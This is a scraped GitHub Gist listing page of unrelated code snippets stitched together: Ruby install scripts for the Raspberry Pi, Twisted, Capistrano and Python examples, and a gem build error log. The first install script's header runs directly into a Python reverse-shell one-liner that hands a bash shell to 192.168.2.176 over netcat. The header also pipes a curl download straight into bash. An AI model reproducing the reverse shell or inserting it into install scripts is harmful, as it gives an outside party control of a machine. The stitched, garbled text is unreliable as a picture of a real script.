Skip to content

Instantly share code, notes, and snippets.

@blacktm
blacktm / install_ruby_rpi.sh
Last active February 28, 2024 23:24
A Bash script to install Ruby on the Raspberry Pi
#!/bin/bash
# --------------------------------------------------------------------------------------------
# Installs Ruby using rbenv/ruby-build on the Raspberry Pi (Raspbian)
#
# Run from the web:
# bash <(curl -s https://gist.githubusercontent.com/blacktm/8302741/raw/install_ruby_rpi.sh)
# --------------------------------------------------------------------------------------------
# Set the Ruby version you want to install
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
#!/usr/bin/env python
# coding: utf-8
# How Twisted's inlineCallbacks work?
# If you use it but don't know exactly what it does,
# and didn't understand the code shipped with Twisted,
# keep reading.
import types, functools
from twisted.python import failure
from twisted.web.client import getPage
@welingtonsampaio
welingtonsampaio / deploy.rb
Created April 8, 2013 23:37
Gist de configuração do capistrano em aplicação rails com ec2, pedido pelo grupo rails-br
##
# Fazendo deploy com o capistrano de uma aplicação Rails
# usando servidores da Amazon ec2 e unicorn como servidor
# o versionamento do ruby no ambiente de produção foi feito
# com o rbenv ( https://github.com/sstephenson/rbenv ), o SO
# esta com o Centos 5.3 x64
#
# Primeiramente é necessario instalar a gem com o comando:
# gem install capistrano
# ou adicione a linha: gem "capistrano", :group => :development
@douglascamata
douglascamata / install_ruby_rpi.sh
Created April 3, 2018 20:13 — forked from blacktm/install_ruby_rpi.sh
A Bash script to install Ruby 2.5 on the Raspberry Pi (Raspbian)
#!/bin/bash
# --------------------------------------------------------------------------------------------
# Installs Ruby 2.5 using rbenv/ruby-build on the Raspberry Pi (Raspbian)
#
# Run from the web:
# bash <(curl -s https://gist.githubusercontent.com/blacktm/8302741/raw/install_ruby_rpi.sh)
# --------------------------------------------------------------------------------------------
# Welcome message
@nodecarter
nodecarter / error.log
Last active March 6, 2018 18:42
problem with installing rmagick gem on mac os x
$ gem install rmagick -v '2.12.2' [ruby-1.9.3-p551]
Building native extensions. This could take a while...
ERROR: Error installing rmagick:
ERROR: Failed to build gem native extension.
/Users/nodecarter/.rvm/rubies/ruby-1.9.3-p551/bin/ruby -r ./siteconf20160205-17372-lm8cre.rb extconf.rb
checking for Ruby version >= 1.8.5... yes
extconf.rb:107: Use RbConfig instead of obsolete and deprecated Config.
checking for gcc-4.9... yes
checking for Magick-config... yes
@hltbra
hltbra / optimization.py
Created November 22, 2012 20:01
tail call optimization decorator
import sys
def tail_recursion_with_stack_inspection(g):
'''
Version of tail_recursion decorator using stack-frame inspection.
'''
loc_vars ={"in_loop":False,"cnt":0}
def result(*args, **kwd):
if not loc_vars["in_loop"]:
@andrewsmedina
andrewsmedina / gist:4128591
Created November 21, 2012 23:45
lru_cache
from functools import lru_cache
@lru_cache(maxsize=None)
def fib(n):
if n < 2:
return n
return fib(n-1) + fib(n-2)
import io
f = io.FileIO("texto.txt", "w")
f.write("ble")
f.close()
@andrewsmedina
andrewsmedina / gist:4128582
Created November 21, 2012 23:42
memoryview
a = b"Heelo World"
v = memoryview(a)